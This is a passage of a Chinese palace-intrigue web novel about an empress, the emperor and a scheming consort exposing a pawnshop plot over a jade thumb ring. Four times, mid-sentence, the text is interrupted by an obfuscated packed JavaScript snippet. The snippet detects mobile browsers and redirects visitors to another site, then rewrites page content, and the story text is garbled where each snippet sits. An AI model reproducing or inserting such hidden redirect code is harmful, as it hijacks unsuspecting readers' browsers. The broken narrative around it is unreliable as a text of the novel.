为何非得是那刻?他明白主子要他前去是去打探消息——萧正则已忧得五内俱焚,担心容鹿鸣真的会去南境。 在殿外恭候时,他听得殿内传出太子声音,太子似是哭了,极力压抑着、哽咽着道:“父皇,为了家国安稳,儿臣不得不割舍此人。虽痛彻心扉,犹不悔!” 念着这段往事,昙现想,即便是宠爱的独女,林舒涟会由她这般骄纵?除非,他是有意的。 为何这般? 昙现心间一颤,望了眼云端,似有暴雨将至。 文华殿中,雨声振耳。萧正则让两个太监敞开了殿门,蓦地,抛出个疑问:“今日,你去滋兰苑了?” 显然,被问到的是昙现。 “回陛下的话,奴才去看看几种珍贵花材的长势。”他还在疑惑,谁的嘴恁地快,却不知自己染了一身的茉莉香,叫萧正则闻得有些心烦。 他就势问道:“凤仪宫的人,可日日去摘花?” “回陛下的话,并未。” 萧正则本在写朱批,闻言停笔,捏着紫檀笔杆架上翡翠笔山。 “除却嫔妃们日日去请安的那点动静,凤仪宫的人还干什么了?” 昙现犹跪在地上,未起身,汗自额角滑下来,“回陛下的话……嫔妃们也未有日日去请安,皇后娘娘说肩上旧伤犯了,身体不适,已着嫔妃们三日一请安了。” “陆徐去看过吗?”萧正则在龙椅中动了一动。 “回陛下的话,已去过了,说是无大碍,且需静养些时日。” 萧正则按捺住起身的冲动,现在不能去凤仪宫。而他的心却突地悬了起来,容鹿鸣身上最重的那处箭伤——肩上的伤,当年,就是因为救他。 “其他嫔妃呢?”萧正则缓缓呼出口气。 “回禀陛下,”所答之言昙现已思量过数次,“各宫娘娘有时聚在一起说说话儿,有时各个去滋兰苑赏赏花。” “怎么个聚在一起,聚在谁处?” “多是在林昭容毓舒宫。” “皇后呢?” “皇后娘娘已是多日不曾出宫了。” 悬着的心安下一半,萧正则想:“容鹿鸣这真是在养病?”以他对她的了解,他猜她大抵并无大碍,她在演“郑伯克段于鄢”。当年她让他反复抄背的这一段,清楚说来不过二字——捧杀。 大雨滂沱,凤仪宫正殿之内,容鹿鸣叫女官敞了殿门和十字海棠棂花的窗。于窗前置了书案,赏一会儿雨,提笔写两个字。任雨丝飞溅,落上玉版生宣,沁入墨迹的一刹,洇出雨云般的晕,别有一番雅致。 栀子的香低低地、浓浓地散下来。容鹿鸣略去了茶叶,只饮煮开的甘泉,一副心无挂碍的模样。 她身旁的美盼却心绪不宁。前些日子陛下过门而不入,难道是听到了殿内在说什么?皇后娘娘却是毫不在意。 丁记布行歇业已数日,皇后娘娘也不心急,今日才差了巧笑去探问。皇后向来未雨绸缪,何曾见她引而不发? 湿漉漉的脚步声响在廊前。 美盼不由得心中一紧,“皇后娘娘,巧笑回来了。” 巧笑直奔入殿,顾不及擦去发上、身上水珠。 “回禀皇后娘娘,奴婢按娘娘吩咐,在聂鸣珂将军宅邸外守了三日,未见有医者出入。” 容鹿鸣搁下笔,听巧笑细说。 “果如皇后娘娘所料,那聂娘子以重病为由辞了入宫之事,确有蹊跷。奴婢今早尾随聂家一个出门采买的家丁,那家丁顺道回了趟自己家。他老母一见他便问:出走的聂娘子可找到了?我躲在窗外,见那家丁立即掩住了母亲的嘴。” “继续查探此人,别动用暗卫。” “是。” 容鹿鸣记得聂将军的女儿似乎叫聂嘉言,是个闺阁女子,曾给身在南境大营的自己写过一封信。 巧笑不去更衣,浑身湿透仍躬身立在那。她面上焦虑更甚,扫了眼容鹿鸣身旁的美盼,然后“扑腾”一声重重跪下,“皇后娘娘,今日午后丁记布行被查抄,丁四也入狱了。” 容鹿鸣稳稳坐在红木带托泥五足圆凳上,瞧了眼美盼,见她垂着头,香肩微颤。 “知道了,你先下去,把湿衣换了。”语调沉稳有力。 巧笑应诺去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633756|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “皇后娘娘——”美盼没说什么,只是跪到容鹿鸣面前。 “怕什么,不会有事。”她伸手,将美盼垂落的鬓发别回耳后。心里念到点往事。 容鹿鸣把京中的店铺开起来以后,容家军练兵之余,除去兵法,另要多学一门《九章算数》。丁四兵法学得挺快,可算学真是一言难尽,被斥候的兄弟们笑话。于是找到算学极佳的美盼,求她私底下教教他。 时日久了,两人心里都懂,发乎情止乎礼,如同知己好友。后来丁四受了伤,越发觉得自己配不起美盼,美盼也便任其自然,既不多思,亦不多做。 怎料丁四会遭此劫难,她隐忍的心事再难掩藏。她一向极信赖容鹿鸣,听她说不会有事,她自己也静了下来。 美盼和丁四,容鹿鸣觉得自己此生大约不会得到真情如许,她希望身侧之人皆能得到。 她把美盼扶起来,擦去她没能强忍住的泪。 雨歇,浓重的夜色中浮起个明晃晃的月,草叶湿亮如洒银。月色惊宿鸟,偶有几声清澈的啼鸣传来。 容鹿鸣饮了安神的药,早早歇下,后几日还有要事需理。 夜已半,萧正则路过凤仪宫,暴雨让栀子树的香喷薄而出,隐隐的水汽中,大门紧闭的宫殿宛如一座在水一方的香岛。 于是他亲自扣了门,不许守夜的宫女们惊动其他人。 让忘筌去通报,今晚他本该去哪处宫殿,他自己早忘记了,就让忘筌去说,说他不去了。 凤仪宫的寝殿内,只亮着一支错银镶金铜鹿灯架。床边,霜色的帷帐垂落着——金丝为纬的轻纱随风而动,光亮点点,似是种欲言又止的召唤。 萧正则挑开帷幕,烛火、夜风、侍婢们的目光都被挡在帐外。床头的云绫锦帘脱了凤头金挂钩,密密地为床上安眠之人辟出一处宁谧之所。 如果不是容鹿鸣伸出帐外的那截手臂,萧正则可能略站一站便会走了。他不想惊扰她,更不想被自己翻涌的欲望驱使。 然而,他望见了她微张的手心,仿若掬了捧月色,待他去饮,待他去一洗眼目与心。 其实不远,他却觉得如同迈过一道悬崖,心跳如鼓。他在她床下静静坐着,把脸埋入她掌心。她的气息沁入他肺腑,是芳香的,甜润的。他亲了上去,热热的,是她的掌心或是他自己的呼吸? 吻落上她手腕,她瑟缩了一下,萧正则惊醒了,猛得向后靠。帷帐颤动,夜风入幕。 他让栀子香把自己掩住,抹去印在鼻端的她的香气。 他劝自己停下来,他不该这样。他把政务塞回心间,大事未成,面前之人是他梦里人,可是,会有刀剑相向的那一天吗? 他懂得,目下她以为臣之心侍奉他。他可以不顾一切地享有她。可若得到之后再失去,那痛楚一定胜过开腹剖心,他害怕自己会被那痛楚击倒。 坐在那里,他渐渐能感到地板的纹路,渐渐能闻到她的香——她依旧远远地香着。 33. 动(二) 若容鹿鸣不是容家人、没有这样的军功和声望,若他自己亦不是帝王,即便身在地狱,他亦会觉得甘美异常。 一路只为追随她而来到如此境地,才发现君王不肆意。他们,不过从师徒变作了君臣。 萧正则摸到自己被夜露和雨水沾湿的袖角,想到些什么,从袖中取出个小药瓶。早几日就想给她了,可说不出口。他知道自己压不住的欲望,怕她也猜到了。 往前挪了几步,他回到床畔、她身畔。把药瓶中的小银勺在掌中温热,然后蘸上药,轻轻涂抹在她皓腕上,他留下的齿痕鲜红依旧。 “鸣鸣——”他一声声轻轻唤她,望她听到,也望她坠在梦里。 一梦醒来,满室清凉。 梳妆时,容鹿鸣自镜中见美盼目光闪躲。 “怎么?”她问。 美盼笑,说着步摇的流苏多么好看。 容鹿鸣把莲花生金的翡翠耳环摘了,她觉得重。余光瞥见腕上伤痕,有谁细细为她上过药了? “昨晚,可是有谁来过?”容鹿鸣问。 美盼险些弄掉手中的白玉栉梳。 “陛下来过了。”见美盼神色如此,她确定。 “我们忧心的事,很快会有眉目。”她把刚刚摘下的耳坠又工整戴好。 这耳坠子以黄金塑成童子,立于荷叶之上,头顶荷叶帽,细金丝弯成波浪的帔帛垂在两边,童子手中捧着覆了花叶的一个翡翠盛东珠花盘。下部坠饰是一对紫翡翠的带叶折枝桃子。 确是精美,她细赏了会儿,对美盼说:“昨日大雨,草木如新,一会儿去滋兰苑走走吧,那才是落花香,染桃鞋。” 美盼领命前去准备,心中不免忧急,猜不透皇后娘娘想要做什么。 漫步滋兰苑中,除美盼、巧笑,容鹿鸣只带了两个侍女。 一路落英缤纷,容鹿鸣令侍女将花瓣拾起收好,回去可染些薛涛笺。 穿过面前翠竹屏障,就是茉莉花圃了。虎头茉莉花香不减分毫,一阵阵扑来。昙现曾说,陛下极宝贝这花圃,刮风下雨均要宫人留意看顾,不许花朵损伤。 萧正则当年摘过许多虎头茉莉赠她。她总是欢欣地收了,还想着原来静妃同她一样喜欢这花儿,萧正则年纪虽不大,却是很懂得孝顺静妃,与太子比起来,也分毫不差。 谁料有日静妃却问她:“你日里常教则儿画工笔人物,近日他可是迷上了画花草?在暖阁里栽了好些虎头茉莉,是着意画这花儿?” “娘娘不喜欢这花?” “美则美矣,只是太香了些。我还想他为了画画,使这么些心力培育,是不是有些本末倒置?你若得闲,也劝他两句吧。” 她当时口中应诺,心里却颇不宁静。装作毫不知情,她不许自己细想。 念及此,容鹿鸣停在翠竹这边,不想往前走了。 那边传来脚步声,说话声。起初低低的,渐渐闹嚷起来。听声音,其中一个是林乔峤。 容鹿鸣于竹叶间分开道细缝,见另一人乃是工部尚书之女,叶言伽。这名字颇有些熟悉,在哪里听过呢?容鹿鸣一时没想起来。 林乔峤颐指气使地嚷着,叶言伽一旁帮腔,清澈的早晨,叫她们搅浑了大半。居然只是为了摘花圃里的虎头茉莉。 管事公公跪在潮湿的砖石上,毕恭毕敬、尽职尽责地说:“陛下有令,唯陛下与皇后娘娘可摘这圃里的虎头茉莉。” 容鹿鸣不想掺和,但也不忍看那年长的公公受罪。她让跟着她的小宫女去传句话,就说:“茉香满园,今日若来滋兰苑赏花,各宫主子可自摘虎头茉莉一朵。” 吵嚷声停了,嬉笑声同鸟鸣一道升腾起来。容鹿鸣也笑着,她们到底都还是年轻的女孩子。 收集的花瓣也够了,容鹿鸣预备回去。 还没转身,花圃那边又闹了起来。 两位家世不俗的嫔妃与林乔峤起了争执,俱是要摘花圃中心开得最盛的那朵虎头茉莉。 林乔峤娇宠惯了,自是不会谦让。另两位对林乔峤早有不满,借机发难,一时互不相让。 容鹿鸣停在竹丛这边,若有所思地看着。 美盼道:“皇后娘娘……” “不管。” 容鹿鸣顺手摘了片浓绿竹叶。有人搭上她手臂,她以为是美盼。 “嘘!这事,不掺和为好。” “嫔妃争执,皇后为何不去劝和?”熟悉的声音响在身后,低沉动听。 空气一滞,那畔和身侧,两下俱静。顾不上犹豫,容鹿鸣伸手捂住了萧正则的嘴。 似是屏息了片刻,那边传来声音:“林昭容可是听到了什么声音?” 翠竹掩映了他们的身影,容鹿鸣朝萧正则轻轻摇头。 萧正则止不住笑,不着痕迹地揽紧她,把她掩在自己唇上的手攥进掌心。 “鸣鸣喜欢的那个林乔峤也在那儿,不去帮忙?”萧正则俯在她耳畔亲昵地说。 他近来虽未去凤仪宫,却听闻容鹿鸣对林乔峤颇多照顾。都快赶上对曾经的自己了,萧正则面上笑着,心里其实有些气恼。 这话,听着怪异,为了让他演好一出帝王深情,她特地显出容人的雅量来,他怎么还不太满意了? 不满意,好! 容鹿鸣朝他明媚地一笑,回握了他温热的手,芬香的面颊贴近他胸口。 萧正则一时忘了自己要说的话,只觉得被她好闻的气息团住,一刹,“哗”地一声,萧正则竟被她推向了竹丛那侧…… “陛下!” “陛下怎么来了此处?” “陛下呀!” 他一下被莺莺燕燕围了个紧,连回头都不得空。 “容鹿鸣!”他面上挂着笑,心里咬牙切齿。 美盼给她惊呆了。 “愣什么,快走。” “皇后娘娘,陛下要是怪罪下来……” 容鹿鸣眸中锐光一闪:“丁四之事未决,暂不宜与陛下太亲近。” 她拨弄着指尖竹叶,像是捏着棋局中的一枚棋子。 时日显得温吞了,容鹿鸣看上去若无其事——她在等。 林乔峤紧紧贴在萧正则怀里,用她刻意捏柔的语调抑扬顿挫地说着些什么。萧正则不喜她浓艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645544|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的熏香,但依着她的心思,看向她。 她确实好看,但也就只是好看了。 还有一点好处,萧正则想,她想害人却不太擅长谋划,对手稍有纰漏她便拼力杀上去,也不怕对方设伏——反会将她自己套了进去。 其实也好,这样一个好看、无趣但易于掌控的人,像案子上那个窑变红釉石榴尊一样,在他身边,可以欣赏一会儿,可以置之不理,不必费心揣测,皆让他放心。 “所以,陛下!凤仪宫的人罔顾圣恩,竟是私自把陛下珍爱的白玉扳指偷出宫当了!” “岂有此理!” 林乔峤见萧正则猛得抬手,摔了案上的薄胎玉盏,茶水四溅。 她从未见他如此生气,一时不敢说话。 “昙现,走,去凤仪宫,林昭容也一道。” 昙现应诺而来,脚步轻快,心中忧急。当下后宫之中,一如朝中形势暗涌。能镇得住这局面的,除了容鹿鸣还能有谁?况且陛下对她总与别人不同。也不知林昭容刚说了什么,若陛下盛怒之下着了林昭容的道,伤了皇后,还不知得怎么收拾残局。 他趁着转过门脚时的遮掩,叫门边一个洒扫太监速去凤仪宫报信。 凤仪宫内熏着“穷四合”,容鹿鸣取了库中的几块孔雀石,正在研磨,预备做几块青黛颜料,留待日后为所绘菩萨像着色。 见萧正则气势汹汹而来,身后还跟着环佩叮当的林乔峤,容鹿鸣放下石杵,不急不慌,向萧正则行礼。 萧正则冷哼一声,不提免礼,就叫容鹿鸣那里跪着,然后沉沉说了一声:“来人,把美盼拖出去打死!” “陛下!”容鹿鸣像是一惊,膝行向前,跪到萧正则面前:“所为何事,何以这便打死?” “皇后可是要说,这与我晋国律法不符?” 她跪在他面前,叩首,口称:“臣妾不敢。” 他喜欢她这样。 “皇后且问问你的女官做了什么?” 他在她面前端正坐下,一边赐了林乔峤座,只由容鹿鸣深深跪着。 一时无人言语,风吹繁叶,沙沙碎响。 “你问。”萧正则看了眼林乔峤。 “臣妾遵旨。”林乔峤起身谢恩,然后坐回绣墩。“美盼,本宫且问你,陛下珍爱的那枚白玉扳指,你可看到?” “回林昭容的话,奴婢不曾见过。” “好!”林乔峤睇了眼容鹿鸣,“来人,把这贱婢拖下去,杖责五十,就在这殿外打。” 缩在那里的容鹿鸣直起身来:“林昭容,陛下尚未发话。”她心里不免一跳,她已如此收敛锋芒,怎还得林乔峤这般恨意? “拿到东西再打。待朕走了,再四处溅血不迟。” 林乔峤从贴身的缂丝荷包里取出一物,一层层打开裹着的白绸,捧至萧正则面前。 赫然,确是他那枚白玉扳指。他不甚相信地看了又看,余光又扫过容鹿鸣。 “林昭容,这扳指哪里来的?” “回禀陛下,这可得问问皇后娘娘的这位女官了。”林乔答道,“皇后娘娘”四个字咬得极重。 34. 动(三) “回禀陛下,臣妾不知。”美盼以首触地。 萧正则捏起扳指细看,上好的白绫罗,包得却仓促,上面还沾了几点暗红。 他往扳指内看了看,“林昭容,这扳指寻回不易呀。” 林乔峤循着他视线,也发现了血迹,“回禀陛下,确实费了些手段。那刁民嘴真硬,执意不肯交代是受了谁指使,敢拿陛下的心爱之物去瑞隆当铺典当!好在臣妾在他铺中有个熟人……”林乔峤止了话头,斜睨跪在地下的容鹿鸣,心中快意非常。她翘起嘴角接着道:“那熟人一眼认出,那日偷偷送白玉扳指去的,正是最受皇后娘娘信赖的美盼!” 死一般的静。 美盼微微抖了一下,她明白林乔峤说的“手段”指什么,她想到丁四毫不在意地掸着他伤愈的眼窝,那只再看不见的深潭般的眼睛,她已痛得说不出话,他却只淡笑这对她道:“哭什么,不碍事。” 容鹿鸣的声音响起,美盼安定下来。 “林昭容这话说得无理,我家侍女,怎的就不能委托个旁人,去当铺典当些东西?难道谁家都得如林家一般,家财万贯。” 她的声音不高不低,却是稳重有力,避重就轻,让林乔峤一时折了言语。 御下不严、纵容女官私卖御用之物,被她抓住这样的错处,容鹿鸣竟不惊不慌,还欲同她辩一辩。 有什么好辩的?林乔峤想,这样好的机会,她定要把脏水泼到她不染脂粉的脸上,叫她也痛一痛! “或许你容家确是质朴传家,需用钱时当个自家物件,倒是无妨……” 听到这,萧正则换了个姿势,端起案上茶盏来饮,是个汝瓷玲珑铃铛杯,内里是容鹿鸣饮过的茶,虽冷了,然极香。 然后接着听林乔峤指桑骂槐道容家,继而才说到点子上,“皇后娘娘倒是清风两袖,也不典当自家物,却偷……”容鹿鸣抬头看了她一眼。 她仍跪着着,林乔峤还坐着,却是一惊,不禁换了字句,“却纵女官偷陛下之物去典当。” “陛下,臣妾有话。”容鹿鸣不理林乔峤,朝着萧正则说。 “讲。” “倘若臣妾的女官真的偷当了陛下的心爱之物,缘何前朝众臣、六宫众妃,唯林昭容即刻便发现了?她与本宫同居深宫,怎得于宫外之事如此明了?” “臣妾……臣妾也是为了陛下……” “为了陛下!”容鹿鸣跪得端正,朗声道,“为了陛下,日日盯紧宫中财物?” “你……你什么意思?”林乔峤腾地站起来。 “礼数啊林乔峤,你当尊称本宫皇后。” “陛下,”容鹿鸣昂着头,“当年静妃戴过的那对金环玉兔耳坠,陛下可还记得?” 萧正则当然记得,或者说不能忘记。当年二哥将其送与静妃时,静妃掩了嘴笑,说那款式更适合年轻女子,让他拿去送了心上人。 二哥蹙着眉头,悠长的几道呼吸后,缓缓笑答:“母妃说笑了,儿臣哪里来的心上人。” 萧正则却知道,二哥心里极深处有个人。 萧正则坐在那儿,置若罔闻,勾了勾手指,让林乔峤到他身边。 林乔峤以为自己要赢了,萧正则这是在安抚她。岂料他纤长有力的手指划过她粉腮,在她耳畔流连片刻,把她的耳环拽了下来。 “痛!”她惊呼。 见萧正则捏着那耳环,脸上仍有笑意,眼神却冷了。 她在他还是七皇子时就见过他,确是“公子如玉”,他从不轻易生气。但此时,她直觉自己境况不妙,连身旁的总管太监昙现都躬身垂首,大气不敢出。 “这耳环,哪里来的?” 林乔峤不笨,已猜到耳环定有问题,她要先把自己摘出去,“回禀陛下,这耳环是臣妾在珠宝铺中买的呀。” 阳光射进十字海棠棂花的窗,萧正则把耳环迎向一道光,那坠子上的红宝石叫光一照,如血珠般浓丽晶莹。 “林乔峤,于宝石珍玩一类,你大抵学养不够,皇后你说,这红宝石可有什么讲究?” “回禀陛下,这坠儿上的红宝石乃是‘鸽子血’,为当年盟约尚存时西戎国礼,细看之下,可辨出与我国所产红宝石大不相同。” “皇后娘娘,”林乔峤嗤笑一声,“此话未免偏颇,西戎既产‘鸽子血’,难道就唯这两颗,民间商铺不能自西戎商贾处购得?”她捋清了思路,恢复了神采。 萧正则的笑意深了,他听得容鹿鸣说道:“林昭容不知,这‘鸽子血’极珍贵,且皆属西戎皇室,民间不曾见过。先帝曾将这两颗‘鸽子血’赐与先太子,先太子孝心,亲自将其嵌于静妃耳环之上。普天之下,这等宝石、耳环,仅此一对,绝无再有。” 这席话激起沉默,萧正则到:“林昭容,朕再问你一遍,这耳环是哪里来的?” 林乔峤觉得哪里来的一股力量,要将她推出这华宫重殿,她不服,却是腿一软,自绣墩滑落在地上。 “忘筌,把你带回来的东西给林昭容看看。” 忘筌分开一众侍从,走了过来,手里捧个漆木托盘,盘中纸页一小摞。见林乔峤坐在地上,他预备弯腰呈过去,却见萧正则已悉数掷在她面前。 林乔峤赶忙扯过来翻看,皆是瑞隆当铺的存底。作为京中最大的当铺之一,它的存底分两种:一种仅以文字记录,一种有图有字。而能得第二种记录的货品,不仅价值奇高,亦牵涉不少关节。 第二种记录,她阿耶林舒涟一向叫人藏在当铺内室的暗格中,怎会在此?林乔峤想着,手有些发颤。她咬住嘴唇,继续翻动,指下的这一页,录的便是她耳上的金环玉兔耳坠。 心念电转,林乔峤开口便说:“陛下,这些存底哪里来的,臣妾见都未见过!” “美盼,你说,这是哪里来的?”萧正则开了金口。 “去瑞隆当铺当扳指的丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657914|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四,是他带回来的。”美盼竭力抑住不安。 林乔峤曾数次派人盯着美盼,见她去过丁四店中两次,便在那里埋了探子。难道,反着了她的道? 侍立一旁的忘筌懂了萧正则的神色,补充道:“好叫林昭容知,这丁四因布行货品滞留运河,无法按时给已下了定的客商送货,铺里的现银都赔了出去,值钱的东西也拿出去当了好几趟,”忘筌有意停了一息,“每一回,去的都是瑞隆当铺。” 瑞隆当铺里有内室,价值极高或来历不凡的典当之物都会在那里交易。当铺的隐秘存底也放在那里的暗格中。 林乔峤立即开始翻动面前的当铺存底,一页页细看。这存底不算太厚,她疑心其中有诈。丁四一个无名小卒,真能把她阿耶的秘密带出来? 像是不经意的,萧正则开口道:“昭容倒也不必起疑,这丁四不是普通人,曾是容家军的斥候校尉。” 容家军?林乔峤猛然回头,她差点忘了,这殿里还跪着皇后——容家军的少将军,她隐没在金银摆件和廉价熏香的暗影里,看似予取予夺。 林乔峤说不出话来,她明白了萧正则的弦外之音。是啊,怎会这么凑巧?丁记布行作为京中最大的布行之一,偏偏在这个时候货品滞留运河?也未听说那丁四去各家订货处走动,请求宽限些时日,却见他赔款给的甚是大方。她曾有点疑惑,还问过自己留在丁记里的人,那人回话说:“丁老板极重信誉和体面,哪怕是千金散尽,也要保住丁记的金字招牌。” 此话合情合理,她便不再起疑。丁四典当东西,也是循序渐进,说是最后当无可当了,才拿出了那枚白玉扳指,神色惶急地奔来瑞隆。据说是一进门,先给掌柜的跪下了,求他救命。 丁四此人在东西二市都极有名气,急公好义。见他如此,当铺掌柜不忍推拒,难得地违了规,将不甚清楚底细的丁四带入了当铺内室。 这掌柜也是个极有眼力的,见了丁四拿来白玉扳指,一眼认出是极难得的宫中珍品。一边立即叫人将绘好的扳指图样送去宫中给林乔峤,一边立付重金将扳指留下。 林乔峤在丁四布行留了探子,本是嗅到点儿暧昧气息,想抓了美盼和丁四的风流韵事。即便没有,她难道不会捕风抓影?一样叫容鹿鸣落下个“治下不严”的罪状。 没想到,竟抓住了美盼偷盗御用之物的大罪,林乔峤以为自己抓住了。想到兄长林如柏受到的那些情伤,她等也不想等,写信给父亲的门生——京兆府尹,叫他捕了丁四、撬开他的嘴。人赃俱获,叫容鹿鸣那厮低下她高贵的头颅,叫容家被满朝文武嗤笑! 怪自己急了,林乔峤这会儿才真正冷静下来。这一步一步地进行下来,太顺利了些。她沉浸在报复容鹿鸣的欢愉中,陶醉于她的疏漏和自己的技高一筹,许多关节,完全未加细想…… 阿耶曾说过,诡计愈是不着痕迹,愈见得功力。容鹿鸣费了这么大心力,她图什么? 35. 动(四) 林乔峤侧目看了眼容鹿鸣,这皇后简衣素服、足不出户,也很知道她自己为师却嫁了徒弟的事在朝中颇遭议论。 据林乔峤买通的凤仪宫小宫女说,皇后娘娘每日不是读书写字,便是画地藏菩萨像。说她设局是为了争宠?林乔峤真不信,说她深居这凤仪宫内是要做个居士,她倒还更相信些。 那她是为着什么呢?林家、容家……她怕是意在言外,要借此对林家不利。 林乔峤缓缓明白过来,登时大哭道:“陛下,臣妾冤枉,臣妾哪知这些事?” “不管你知于不知,”萧正则示意昙现丢给她一条帕子,“可那当铺实归你阿耶所有,他收了宫中这么些物件,是要做什么呢?” 林乔峤不敢回话了,连泪都忘了擦。她是林家娇女,家中之事不需她管。阿耶教养她,只为有朝一日能博得君王欢心。 而她曾在阿耶书房外无意听到,阿耶得先皇赏识前,曾与前任尚宫局掌事关系匪浅。林家素无翊助,资产不丰,阿耶似乎是依靠和尚宫局的某种关系得到了展露头角的机会。那个年老的掌事太监曾来过家里,阿耶私底下喊他“阿爷”。 宫人拿了东西,绝不敢随处当掉,只敢去那一家。出价不高却安全。铺子再寻买家卖出,价高者甚于十倍。 后来那铺子有了名字,叫瑞隆当铺。她意外发现,不止瑞隆,京中的几大钱庄,背后的东家竟都与阿耶有关。幸好,唯有她和兄长知晓。 银钱如水般流进来,又如水般流向某个地方——不是林家,她也不知这么多银子去了哪。她心中不大安定,也甚少拿铺里东西,唯二次格外喜欢的,其中就有这金环玉兔耳坠。 林乔峤清楚,万不能露了马脚,赶忙拿出极委屈的神色,泪如雨下:“陛下,这定是奸人陷害,瑞隆那样的大铺子,幕后东家怎么会是我阿耶呢?阿耶一向奉公守法……” “奉公守法?”萧正则不想听她再演下去,“裴尚宫何在?” “奴婢在此。”裴默存恭敬地走上前来跪下。 “朕只问你一件事,后宫财政由你尚宫局掌控,各宫用度皆由你们依例分配,缘何林昭容的用度远优于同为二品的其他嫔妃?” “回禀陛下,户部陈卓陈侍郎曾明示奴婢,要奴婢特别优待于林昭容。奴婢并未应允,然尚书局中被他所托之人尚有其他,是故林昭容日常用度至多时,犹甚于淑贵妃。” 林乔峤心中大惊,泪也顾不上擦了,望向裴默存。她一个无依无傍的尚宫,怎么敢攀扯她这尚书之女?况且,受人所托,对后宫女子稍加优待,此事并不少见,怎么从裴默存嘴里说出,就蒙了过失? 红宝石的步摇流苏垂下来,贴在她脸侧,好凉,她蓦地惊醒。日常之中,她的用度虽然好些,但俱是融在细处,并不那样显眼。真正让她为人瞩目的是——陛下源源不断的赏赐,远远多于淑贵妃,多于其他各宫嫔妃。皇后也紧随其后,一应赏赐、贡品,均是选了最多最好的送来给她。 这帝后二人,竟像是商量好的一般。她心中惊疑不定,余光又看了眼容鹿鸣。这皇后仍端正地跪着,垂着目,看不清表情。自她入宫以来,陛下便甚少去凤仪宫。她还以为陛下不喜皇后,而是心悦于她。皇后的赏赐也一波一波地送来,似有讨好之意。她先前心中还想,自己总有一日会取代她,现在,她不确定了…… 萧正则的声音响了起来,他说话的速度慢下来,显得有些漫不经心。 “那个户部的陈卓,朕倒是记得,似是你阿耶门生中的一位。”萧正则随口说道,是底下人有意攀附,还本主延揽党羽,要诈一诈方才知晓。 “陛下明鉴,即便臣妾阿耶的故旧曾托人看顾臣妾,也与阿耶无关!” “原来,不仅是门生,更是故旧。昙现,记下来。” 惊觉自己慌中失言,林乔峤赶忙应道:“陛下,纵臣妾与阿耶皆有过错,陛下也不该妄纵了那偷盗扳指之人。” 萧正则就等着林乔峤承认父女之过,侧目,却见容鹿鸣不大自然地一僵。 这戏演到这里,两人全凭默契,他只是向她提过,调林乔峤长兄去巡盐之事,她便把他接下去的打算猜到了八九分。 她跪在哀哀戚戚的林乔峤一旁,却不显得胸有成竹。他倏忽间意识到,她在等。为着撕开局面,那扳指确然是她着人送去当铺的。但她似乎不大确定,他除了整治林家以外,会不会一并牵连到她。 “治下不严”这罪名可大可小,这是个好机会,若他真想削弱容家,可以自此下手,一点一点“刮”。 君叫臣死,臣不得不死。他在她身上瞧出这么点意味。他喜欢她这种忠诚,却也更想要她的信任——信他与她并肩而站,绝不背弃。 “偷盗扳指之人……昙现,把这扳指呈给那皇后女官,叫她看看,是她在凤仪宫拿的那枚吗?” 昙现紧走两步,停在美盼身前,美盼缓缓直起身子。 她装作细看,见容鹿鸣递来个眼神。她压下惊惶、犹豫,稽首道:“回禀陛下,正是那枚。” “陛下,这贱婢承认了!”林乔峤尖声道,葱白的指尖正正指住美盼。 跪着的容鹿鸣突然道:“是本宫交给她的。”她沉默太久,众人反应了片刻才看向她。 “原来……”见她答得坦荡,林乔峤一时不敢乱加言词,可又不甘心错过抓她痛处的机会,“那便有趣了,皇后何故悄悄拿了陛下的宝物,害得陛下四处寻找?” “这枚扳指不是陛下那枚,而是本宫平日习箭时用的。” 此言一出,萧正则也顿了一顿,他以为她要待他宣判,找个理由把她从这事里拉出来。没想到,她竟已想好退路,自己杀出重围来。 言毕,容鹿鸣抬眼,看向萧正则。眼神中有种说不出的味道。 萧正则听到自己说:“确是如此。” 林乔峤冷笑一声:“陛下何必如此护短?” 萧正则自檀木雕龙凤的靠椅上站了起来,昙现忙跟过来,捧上扳指。他捏着扳指站到林乔峤面前,将拇指伸进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672483|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 